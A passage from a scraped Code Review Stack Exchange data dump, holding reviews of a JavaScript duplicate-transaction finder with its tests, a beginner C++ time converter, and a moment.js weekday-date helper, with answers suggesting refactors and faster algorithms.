sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:34:30.000Z'
},
{
id: 1,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:01.000Z'
},
{
id: 6,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:00.000Z'
},
{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:34:10.000Z'
},
{
id: 17,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:50.000Z'
},
{
id: 4,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:36:00.000Z'
},
{
id: 2,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:50.000Z'
},
{
id: 5,
sourceAccount: 'A',
targetAccount: 'C',
amount: 250,
category: 'other',
time: '2018-03-02T10:33:00.000Z'
}
]
let targetList = [[{
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:00.000Z'
},
{
id: 17,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:50.000Z'
},
{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:34:10.000Z'
}],
[{
id: 1,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:01.000Z'
},
{
id: 6,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 2,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:50.000Z'
},
{
id: 3,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:34:30.000Z'
}]]
assert.deepEqual(findDuplicateTransactions(sourceList), targetList);
});
});
describe("isDuplicateTransactions()", function () {
it("returns true if transactions are duplicate", function () {
assert.equal(isDuplicateTransactions({
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:15.000Z'
}), true)
})
it("returns false if transactions are not duplicate", function () {
assert.equal(isDuplicateTransactions({
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'other',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:15.000Z'
}), false)
})
it("returns false if transactions time difference is greater than 1 minute", function () {
assert.equal(isDuplicateTransactions({
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:36:05.000Z'
},
{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:15.000Z'
}), false)
})
});
describe("groupBy()", function () {
it("return empty array if given empty array", function () {
assert.deepEqual(groupBy([], function (item) {
return [item.sourceAccount, item.targetAccount,
item.amount, item.category];
}), [])
})
it("returns items of array grouped in arrays by given keys", function () {
let sourceList = [{
id: 6,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 1,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:00.000Z'
},
{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:50.000Z'
},
{
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 17,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:34:10.000Z'
}]
const targetList = [[{
id: 6,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 1,
sourceAccount: 'A',
targetAccount: 'B',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:00.000Z'
}],
[{
id: 18,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:50.000Z'
},
{
id: 19,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:33:05.000Z'
},
{
id: 17,
sourceAccount: 'C',
targetAccount: 'D',
amount: 100,
category: 'eating_out',
time: '2018-03-02T10:34:10.000Z'
}]]
assert.deepEqual(groupBy(sourceList, function (item) {
return [item.sourceAccount, item.targetAccount,
item.amount, item.category];
}), targetList)
})
});
</code></pre>
|
[] |
[
{
"body": "<p><strong>General code style</strong></p>\n<ul>\n<li><p>When you aren't going to reassign a variable, you should declare it with <code>const</code>. Only use <code>let</code> when you <a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">have to reassign</a>. Never use <code>var</code>, since it has too many problems to be worth using.</p>\n</li>\n<li><p>Unless you need a full <code>function</code> to capture the <code>this</code> context or a function declaration, you might consider using arrow functions by default when you need a function expression - arrow functions are more concise not only in their lack of the <code>function</code> keyword, but they also permit implicit return, which lets you omit the <code>{}</code> function block and <code>return</code>. It's great for short callbacks, eg:</p>\n<pre><code>group.slice().sort(\n (obj1, obj2) => new Date(obj1.time) - new Date(obj2.time)\n)\n</code></pre>\n</li>\n</ul>\n<p><strong><code>Array.prototype.includes</code></strong> When you want to check whether an element exists in an array, it'd be more appropriate to use <code>.includes(item)</code> rather than <code>indexOf(item) === -1</code> - it's easier to read.</p>\n<p><strong>Object values</strong> In <code>groupBy</code>, when you need to find the values of an object, you can use <code>Object.values</code>. That is, this:</p>\n<pre><code>return Object.keys(groups).map( function( group )\n{\n return groups[group]; \n})\n</code></pre>\n<p>can turn into</p>\n<pre><code>return Object.values(groups);\n</code></pre>\n<p><strong>Comments</strong> Your original code has no comments, and it's not <em>quite</em> self-documenting enough IMO. When the intent of a particular section isn't blindingly obvious at a glance, don't be afraid to add comments liberally. When dealing with complicated data structures, giving <strong>examples</strong> of what a particular section of code results in can make things significantly clearer to a casual reader.</p>\n<p><strong>Efficiency</strong> The main efficiency issue I see is the nested loops here:</p>\n<pre><code>transactions.forEach((transaction, index) => {\n for (let i = 0; i < transactions.length; i++) {\n if (index !== i) {\n if (isDuplicateTransactions(transaction, transactions[i])) {\n if (duplicates.indexOf(transactions[i]) === -1) {\n duplicates.push(transactions[i])\n }\n }\n }\n }\n})\n</code></pre>\n<p>This compares each transaction to every other transaction, which is <code>O(n ^ 2)</code>. Then, after comparison, you call <code>duplicates.indexOf(transactions[i]) === -1</code>, and <code>indexOf</code> is <code>O(n)</code>. Put it together, and it's not that great.</p>\n<p>One way to reduce complexity would be to use a <a href=\"https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Set\" rel=\"nofollow noreferrer\">Set</a> instead of an array for the duplicates. Sets can be looked up in <code>O(1)</code> time, rather than <code>O(n)</code> time for arrays.</p>\n<p>Another way to reduce complexity would be to group the transactions while iterating. Instead of comparing each element to each other element, construct a mostly unique key first, composed of the identical properties. For example:</p>\n<pre><code>{\n id: 3,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:30.000Z'\n},\n</code></pre>\n<p>can turn into a key of <code>A-B-eating_out-100</code>. When this element is found, put this key onto the object. When iterating over an element, if a duplicate key is found on the object, compare the times of each element in the object to see if it's truly a duplicate, or if they're separated by more than 60 seconds and aren't duplicates. This reduces the nested loop logic's complexity because rather than comparing against <em>every</em> other transaction, you're only comparing against <em>likely duplicate</em> transactions. This could reduce the nested loop logic's complexity from <code>O(n ^ 2)</code> to around <code>O(n)</code>.</p>\n<p>It's unfortunate that there's no unique identifier for transactions; that'd make things so much easier. If this was a real-world problem, I'd work on changing the code that generates the array so that duplicate transactions appear with the same ID (or some <em>other</em> unique identifier for the same transaction, like a GUID generated and passed along before the problematic code is encountered).</p>\n<p>Related to the above, you look have a bug in that your current <code>duplicateTransactionsGroups</code> is generated by a <code>groupBy</code> on the duplicates array, checking <code>item.sourceAccount, item.targetAccount, item.amount, item.category</code> <em>without checking for time</em>. If there are multiple duplicate entries (say, two on Monday and two on Tuesday) with the same attributes, they'll be grouped together, even though they shouldn't be.</p>\n<p>Another thing that will improve efficiency would be to group the transactions for the output <em>at the same time</em> that you're checking for duplicates, instead of doing <code>groupBy</code> later after the array of duplicates is constructed.</p>\n<p>You're also importing Moment for the sole purpose of checking whether the difference between two date strings is more or less than 60 seconds. This is trivial and faster to accomplish in vanilla JS; just call <code>new Date</code> on the time strings and compare the differences in their timestamps.</p>\n<p>One way to improve the date sorting would be to sort the entire input array by date beforehand. Then, the resulting groups will come out sorted naturally (no further sorting needed) since they'll be processed sequentially, and you won't have to worry about if a transaction at 200s is a duplicate of a transaction already seen at 100s because the connector at 150s hasn't been seen yet. This one insight is a <strong>huge</strong> improvement to the overall algorithm IMO.</p>\n<p>Putting these recommendations together, and you'll get computational complexity of <code>O(n log n)</code>. Because the output must be sorted by time, and such sorting requires <code>O(n log n)</code> complexity (or thereabouts, for this sort of input), further optimization would be quite difficult for not much gain. Overall, the code could look like:</p>\n<pre><code>const getTransactionKey = ({\n sourceAccount,\n targetAccount,\n category,\n amount\n}) => `${sourceAccount}-${targetAccount}${category}${amount}`;\n\nconst findDuplicateTransactions = (transactions = []) => {\n transactions.sort((a, b) => new Date(a.time) - new Date(b.time));\n const transactionsByKey = {};\n for (const transaction of transactions) {\n const key = getTransactionKey(transaction);\n transactionsByKey[key] = transactionsByKey[key] || [];\n transactionsByKey[key].push(transaction);\n }\n \n // Separate each transactionsByKey[key] array into arrays of definite duplicates\n // and combine all such arrays of definite duplicates into a single array\n const allTransactionGroups = Object.values(transactionsByKey).flatMap(groupDuplicates);\n \n const duplicateTransactionGroups = allTransactionGroups.filter(subarr => subarr.length >= 2);\n \n return duplicateTransactionGroups;\n};\n\n/**\n * Separate each transactionsByKey[key] array into arrays of definite duplicates, eg:\n * [{ source: 'A' ... }, { source: 'B' ... }, { source: 'B' ... }]\n * to\n * [[{ source: 'A' ... }], [{ source: 'B' ... }, { source: 'B' ... }]]\n */\nconst groupDuplicates = (similarTransactions) => {\n const duplicateGroups = [];\n for (const transaction of similarTransactions) {\n // Find the first subarray in duplicateGroups whose time matches, and push to that subarray\n // If no match, create a new subarray\n const foundGroup = duplicateGroups.find(\n subarr => isDuplicateTime(subarr[subarr.length - 1], transaction)\n );\n if (foundGroup) {\n foundGroup.push(transaction)\n } else {\n duplicateGroups.push([transaction]);\n }\n }\n return duplicateGroups;\n};\n \nconst isDuplicateTime = (transaction1, transaction2) => (\n Math.abs(new Date(transaction1.time) - new Date(transaction2.time)) < 60_000\n);\n</code></pre>\n<p>Live snippet:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const getTransactionKey = ({\n sourceAccount,\n targetAccount,\n category,\n amount\n}) => `${sourceAccount}-${targetAccount}${category}${amount}`;\n\nconst findDuplicateTransactions = (transactions = []) => {\n transactions.sort((a, b) => new Date(a.time) - new Date(b.time));\n const transactionsByKey = {};\n for (const transaction of transactions) {\n const key = getTransactionKey(transaction);\n transactionsByKey[key] = transactionsByKey[key] || [];\n transactionsByKey[key].push(transaction);\n }\n \n // Separate each transactionsByKey[key] array into arrays of definite duplicates\n // and combine all such arrays of definite duplicates into a single array\n const allTransactionGroups = Object.values(transactionsByKey).flatMap(groupDuplicates);\n \n const duplicateTransactionGroups = allTransactionGroups.filter(subarr => subarr.length >= 2);\n \n return duplicateTransactionGroups;\n};\n\n/**\n * Separate each transactionsByKey[key] array into arrays of definite duplicates, eg:\n * [{ source: 'A' ... }, { source: 'B' ... }, { source: 'B' ... }]\n * to\n * [[{ source: 'A' ... }], [{ source: 'B' ... }, { source: 'B' ... }]]\n */\nconst groupDuplicates = (similarTransactions) => {\n const duplicateGroups = [];\n for (const transaction of similarTransactions) {\n // Find the first subarray in duplicateGroups whose time matches, and push to that subarray\n // If no match, create a new subarray\n const foundGroup = duplicateGroups.find(\n subarr => isDuplicateTime(subarr[subarr.length - 1], transaction)\n );\n if (foundGroup) {\n foundGroup.push(transaction)\n } else {\n duplicateGroups.push([transaction]);\n }\n }\n return duplicateGroups;\n};\n \nconst isDuplicateTime = (transaction1, transaction2) => (\n Math.abs(new Date(transaction1.time) - new Date(transaction2.time)) < 60_000\n);\n\n\n\n\n\n\n\n\n\n// TESTING\nconst assert = {\n deepEqual(a, b) {\n if (JSON.stringify(a) !== JSON.stringify(b)) {\n throw new Error('Failed');\n }\n },\n lengthOf(a, len) {\n if (a.length !== len) {\n throw new Error('Failed');\n }\n }\n}\nconst it = (str, fn) => {\n console.log(str);\n fn();\n};\n\n it(\"returns empty array if there are no transactions\", function () {\n assert.deepEqual(findDuplicateTransactions([]), []);\n });\n\n it(\"returns empty array if there is only one transaction\", function () {\n assert.deepEqual(findDuplicateTransactions([{\n id: 3,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 150,\n category: 'other',\n time: '2018-03-02T10:34:30.000Z'\n }]), []);\n });\n\n it(\"returns empty array if there are no duplicates\", function () {\n assert.deepEqual(findDuplicateTransactions([{\n id: 3,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 150,\n category: 'other',\n time: '2018-03-02T10:34:30.000Z'\n },\n {\n id: 1,\n sourceAccount: 'A',\n targetAccount: 'C',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:00.000Z'\n }]), []);\n });\n\n it(\"returns an array of length 1 if found one group only\", function () {\n assert.lengthOf(findDuplicateTransactions([\n {\n id: 3,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:30.000Z'\n },\n {\n id: 1,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:01.000Z'\n }\n ]), 1);\n });\n\n it(\"returns an array of sorted groups of duplicate transactions\", function () {\n let sourceList = [\n {\n id: 3,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:34:30.000Z'\n },\n {\n id: 1,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:01.000Z'\n },\n {\n id: 6,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:05.000Z'\n },\n {\n id: 19,\n sourceAccount: 'C',\n targetAccount: 'D',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:00.000Z'\n },\n {\n id: 18,\n sourceAccount: 'C',\n targetAccount: 'D',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:34:10.000Z'\n },\n {\n id: 17,\n sourceAccount: 'C',\n targetAccount: 'D',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:50.000Z'\n },\n {\n id: 4,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:36:00.000Z'\n },\n {\n id: 2,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:50.000Z'\n },\n {\n id: 5,\n sourceAccount: 'A',\n targetAccount: 'C',\n amount: 250,\n category: 'other',\n time: '2018-03-02T10:33:00.000Z'\n }\n ]\n let targetList = [[{\n id: 19,\n sourceAccount: 'C',\n targetAccount: 'D',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:00.000Z'\n },\n {\n id: 17,\n sourceAccount: 'C',\n targetAccount: 'D',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:50.000Z'\n },\n {\n id: 18,\n sourceAccount: 'C',\n targetAccount: 'D',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:34:10.000Z'\n }],\n [{\n id: 1,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:01.000Z'\n },\n {\n id: 6,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:05.000Z'\n },\n {\n id: 2,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:33:50.000Z'\n },\n {\n id: 3,\n sourceAccount: 'A',\n targetAccount: 'B',\n amount: 100,\n category: 'eating_out',\n time: '2018-03-02T10:34:30.000Z'\n }]]\n assert.deepEqual(findDuplicateTransactions(sourceList), targetList);\n });\n console.log('all succeeded');</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>If needed, you could slightly improve performance by mapping each time string to its timestamp equivalent while sorting to avoid duplicate calls to <code>new Date</code>, but it'd make the code a tiny bit more complicated and a bit harder to understand at a glance. Past a certain point, performance improvements come at the cost of code clarity.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:26:43.937",
"Id": "489831",
"Score": "0",
"body": "Thanks. This is very detailed and useful review. I will go through it and implement each point and also compare with your given code then."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:54:34.350",
"Id": "249746",
"ParentId": "249733",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249746",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:32:27.077",
"Id": "249733",
"Score": "2",
"Tags": [
"javascript",
"array",
"sorting"
],
"Title": "Interview Coding Test: Transaction Processing: Find Duplicates"
}
|
249733
|
<p>i have made this time convertor this is my first project i am new to c++ and programming can you tell me if there is any way to write this code to be more efficient or this is code is ok.
thanks for answering.</p>
<pre><code> #include <iostream>
using namespace std;
int main()
{
long double value;
int input ;
int input2;
char again;
do{ //loop for using programme again
cout << "Welcome to time converter" << endl; //welcome text
cout << "========================" << endl;
cout << "Select option you want to convert" << endl;
cout << "1.Minutes" << endl;
cout << "2.Hours" << endl; //User will select what to convert
cout << "3.Seconds" << endl;
cin >> input;
while(input <1 || input >3 ){
cout << "Error : Select a valid option:" << flush;
cin >> input;
}
cout << "Select what do you want to convert" << endl;
cout << "1.Minutes" << endl;
cout << "2.Hours" << endl; //User will select in which he wants to convert
cout << "3.Seconds" << endl;
cin >> input2;
while(input2 <1 || input2 >3 ){
cout << "Error : Select a valid option:" << flush;
cin >> input2;
}
while(input ==1 && input2 ==1 ){
cout << "Error : Select a valid option:" << flush; //if user accidentally slects same option in both menu
cin >> input2;
}
while(input ==2 && input2 ==2 ){
cout << "Error : Select a valid option:" << flush;
cin >> input2;
}
while(input ==3 && input2 ==3 ){
cout << "Error : Select a valid option:" << flush;
cin >> input2;
}
if(input ==1 &&input2 ==2){
cout << "Enter number of Minutes you want to convert in hour: " << flush;
cin >> value;
cout << endl;
cout << "Result:" << value/60 << " " << "hours"<< endl;
}else if(input ==1 &&input2 ==3){
cout << "Enter number of minutes you want to convert in seconds: " << flush; 2
cin >> value;
cout << endl;
cout << "Result:" << value*60 << endl;
}else if(input ==2 &&input2 ==1){
cout << "Enter number of hours you want to convert in minutes: " << flush;
cin >> value;
cout << endl;
cout << "Result:" << value*60 << " "<< "minutes" << endl;
}else if(input ==2 &&input2 ==3){
cout << "Enter number of hours you want to convert in seconds: " << flush;
cin >> value;
cout << endl;
cout << "Result:" << value*3600 << " "<< "seconds" << endl;
}else if(input ==3 &&input2 ==1){
cout << "Enter number of seconds you want to convert in minutes: " << flush;
cin >> value;
cout << endl;
cout << "Result:" << value/60 << " "<< "minutes" << endl;
}else if(input ==3 &&input2 ==2){
cout << "Enter number of seconds you want to convert in hours: " << flush;
cin >> value;
cout << endl;
cout << "Result:" << value/3600 << " "<< "hours" << endl;
}
cout << endl;
cout << "Press Y to use the programme " << endl;
cout << "Press N to exit" << endl;
cin>> again;
}while( again =='y'|| again =='Y');
cout << "Programme ended" <<endl;
return 0;
</code></pre>
<p>}</p>
|
[] |
[
{
"body": "<h1>Don't repeat yourself</h1>\n<p>A major issue with your code is that you are repeating similar code over and over. Whenever you see that you are doing the same thing twice or more times, find some way to reduce it. For example, instead of checking whether the user wants to convert seconds to seconds, then checking whether they want to convert minutes to minutes, and so on, just check whether they want to convert something to the same thing:</p>\n<pre><code>while (input == input2) {\n std::cout << "Error: ...\\n";\n ...\n}\n</code></pre>\n<p>But more importantly, you'll notice that because you have 3 different time units you can convert from and to, you needed 3 * 2 = 6 blocks of code that all say "Enter number of X you want to convert in Y", read in a value, and then do the calculation and print the result. Now imagine you have 10 different time units, because you also want to support days, weeks, months, and so on. Suddenly you need to write 10 * 9 = 90 blocks of code. That's not very efficient! So first, what is different between the time units? It's the name of the unit, and some kind of multiplier. Let's build a table that holds names and the number of seconds each time unit represents:</p>\n<pre><code>#include <vector>\n\nstruct time_unit {\n const char *name;\n int seconds;\n};\n\nstd::vector<time_unit> time_units = {\n {"seconds", 1},\n {"minutes", 60},\n {"hours", 3600},\n {"days", 86400},\n ...\n};\n</code></pre>\n<p>Now you can use this to write generic code once, that uses the table to handle all the different time units. For example, just printing the list of time units becomes:</p>\n<pre><code>std::cout << "Select what time unit you want to convert from:\\n";\n\nfor (size_t i = 0; i < time_units.size(); ++i) {\n std::cout << i << ". " << time_units[i].name << "\\n";\n}\n</code></pre>\n<p>Once you have the two choices in <code>input</code> and <code>input2</code> and verified they are valid, you can then write code that converts from one to the other and prints the results:</p>\n<pre><code>std::cout << "Enter the number of " << time_units[input].name\n << " you want to convert to " << time_units[input2].name << ":\\n";\n\nstd::cin >> value;\n\nstd::cout << "Result: " << value * time_units[input].seconds / time_units[input2].seconds << "\\n";\n</code></pre>\n<p>The above example code starts numbering choices from zero. That's easier for C++, but if you want you can add '+ 1' and '- 1' where necessary to make the user's choices start from 1.</p>\n<h1>Fix your checks for invalid input</h1>\n<p>An issue with your error checking code is that you check for some property to be valid in one loop, and then follow that up with another loop to check for another property. However, the second loop no longer checks whether the first property is correct. You should have a single loop that checks whether everything is valid. I suggest you use an infinite loop that calls <code>break</code> if everything is correct. For example:</p>\n<pre><code>while(true) {\n std::cout << "Select what do you want to convert to:\\n";\n std::cin >> input2;\n\n if (input2 >= 0 && input2 < time_units.size()) {\n std::cout << "Error: not a valid choice.\\n";\n continue;\n }\n\n if (input2 == input) {\n std::cout << "Error: you need to select a different unit than the one you convert from.\\n";\n continue;\n }\n\n break;\n}\n</code></pre>\n<h1>Don't add unnecessary restrictions</h1>\n<p>While it is good that you check whether input values are valid integers in the desired range, there is no harm in allowing the user convert from seconds to seconds. Sure, it is useless, but on the other hand it should just work, and allowing this actually reduces the amount of code you have to write.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:17:20.330",
"Id": "249755",
"ParentId": "249735",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T12:45:42.250",
"Id": "249735",
"Score": "2",
"Tags": [
"c++"
],
"Title": "made a time converter in c++ which can convert second,minutes and hours is there any efficient way for this"
}
|
249735
|
<p>I have a function which from an array of days return the array of days with it's date like from array of</p>
<p><code>['Sun', 'Mon', 'Tue', 'Wed' ]</code> my function returns the days from today if there are some past days i switch the date to next week so the array will become <code>['Wed 23', 'Sun 27', 'Mon 28', 'Tue 29' ]</code></p>
<p>And here is how my function looks like (i've added all comments that specify what i'm doing on each step:</p>
<pre><code> moment.locale('it'); // setting locale to italian as API response returns it formatted days
const days = ['lun', 'mar', 'mer', 'gio', 'ven', 'sab', 'dom']; // mapping weekdays which will be used to get index of the day to use in isoWeekday
const momentToday = moment().isoWeekday(); // setting today date
const arrayGiorni = giorni.map((g) => {
const dayIndex = days.indexOf(g.giorno.toLowerCase()); // getting index of day from the object array es if g.giorno is 'mar' index will be 2
if (momentToday <= dayIndex) { // checking if today is <= to mapping object then adding it to array
return {
id: g.id,
giorno: moment().isoWeekday(dayIndex),
};
} else { // else skipping to next week and adding the object to array
return {
id: g.id,
giorno: moment()
.add(1, 'weeks')
.isoWeekday(dayIndex),
};
}
});
// sorting the array to get an ordered array of dates
arrayGiorni.sort((a, b) => moment(a.giorno).valueOf() - moment(b.giorno).valueOf());
// formatting the moment object to get string formatted date
this.giorni = arrayGiorni.map(g => g.giorno.format('ddd DD MMM'));
console.log(this.giorni);
</code></pre>
<p>As asked in comments here is the model of giorni:</p>
<pre><code>export class NegozioGiorni {
constructor(
public id: number,
public giorno: string,
public orari: string[] = []
) {}
}
</code></pre>
<p>That in array of objects will be <code>[ { id: 1, giorno: 'lun', orari: ['12:00', '13:00'] }, { id: 2, giorno: 'mer', orari: ['12:00', '13:00'] }, { id: 2, giorno: 'ven', orari: ['15:00', '17:00'] } ]</code></p>
<p>I was wondering if there is something that i can reduce in this come and if there is a way to make it more performable.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T13:26:41.350",
"Id": "489693",
"Score": "0",
"body": "What kind of performance gains are you looking for, speed, memory, ...?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:01:01.517",
"Id": "489696",
"Score": "0",
"body": "@pacmaninbw i'm looking for speed improvment as the array will always contains max 7 elements the memory is not so important in that case"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T14:40:21.833",
"Id": "489701",
"Score": "1",
"body": "@CertainPerformance added the example of giorni and it's constructor if needed"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:31:04.783",
"Id": "489704",
"Score": "0",
"body": "PS moment is no longer in active development. You should find something else."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:40:37.883",
"Id": "489707",
"Score": "1",
"body": "The current question title of your question is too generic to be helpful. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
}
] |
[
{
"body": "<p><strong>Speed</strong> You say you want the program to run more quickly, but it looks pretty good to me already. Are you really processing such a huge number of <code>giorni</code> objects that the function doesn't run fast enough? (It's possible, but it sounds unlikely.) But there are some improvements that could be made.</p>\n<p><strong><code>indexOf</code> vs object</strong> You use <code>indexOf</code> to find the position of the day in the days array. This has <code>O(n)</code> complexity; the interpreter searches through the array indicies one-by-one until it finds a match. It would be less computationally expensive to use an object mapping day names to their indicies, then look up the name on the object, in a single operation.</p>\n<p><strong>Conditional values</strong> Inside the <code>.map</code>, the only part that changes between the <code>if</code> and <code>else</code> is the <code>giorno</code> property. To do this more efficiently and concisely, use the conditional operator instead:</p>\n<pre><code>return {\n id: g.id,\n giorno: momentToday <= dayIndex\n ? moment().isoWeekday(dayIndex)\n : moment().add(1, 'weeks').isoWeekday(dayIndex),\n};\n</code></pre>\n<p>. Or, since it you don't actually care about the <code>id</code> properties, you can remove them entirely, and just use an array of times.</p>\n<p><strong>Moment</strong> Moment is a non-trivial library (and even it recommends to use modern APIs instead, like <code>Date</code>). If speed is an issue, you could use the native <code>Date</code> object instead.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const giorni = [{\n id: 1,\n giorno: 'lun', // Monday; turns into Mon 28 Sep\n orari: ['12:00', '13:00']\n}, {\n id: 2,\n giorno: 'mer', // Wednesday: turns into Wed 23 Sep\n orari: ['12:00', '13:00']\n}, {\n id: 2,\n giorno: 'ven', // Friday: turns into Fri 25 Sep\n orari: ['15:00', '17:00']\n}];\nconst dayIndiciesByDayName = Object.fromEntries(\n ['dom', 'lun', 'mar', 'mer', 'gio', 'ven', 'sab']\n .map((name, i) => [name, i])\n);\n\nconst todayDayIndex = new Date().getDay(); // Zero-indexed and starts at Sunday\nconst todayDayOfMonth = new Date().getDate();\nconst inputDays = giorni.map(({ giorno }) => giorno);\nconst itemDates = giorni.map((g) => {\n const itemDayIndex = dayIndiciesByDayName[g.giorno.toLowerCase()];\n // Below will be 0 to 6:\n const itemDayDifferenceFromToday = (itemDayIndex - todayDayIndex + 7) % 7;\n const itemDateObj = new Date();\n itemDateObj.setDate(todayDayOfMonth + itemDayDifferenceFromToday);\n return itemDateObj;\n});\nconst output = itemDates\n .sort((a, b) => a - b)\n .map((date) => {\n const match = date.toString().match(/(\\w+ )(\\w+) (\\d+ )/);\n return match[1] + match[3] + match[2];\n });\nconsole.log(output);</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T06:42:59.347",
"Id": "489785",
"Score": "0",
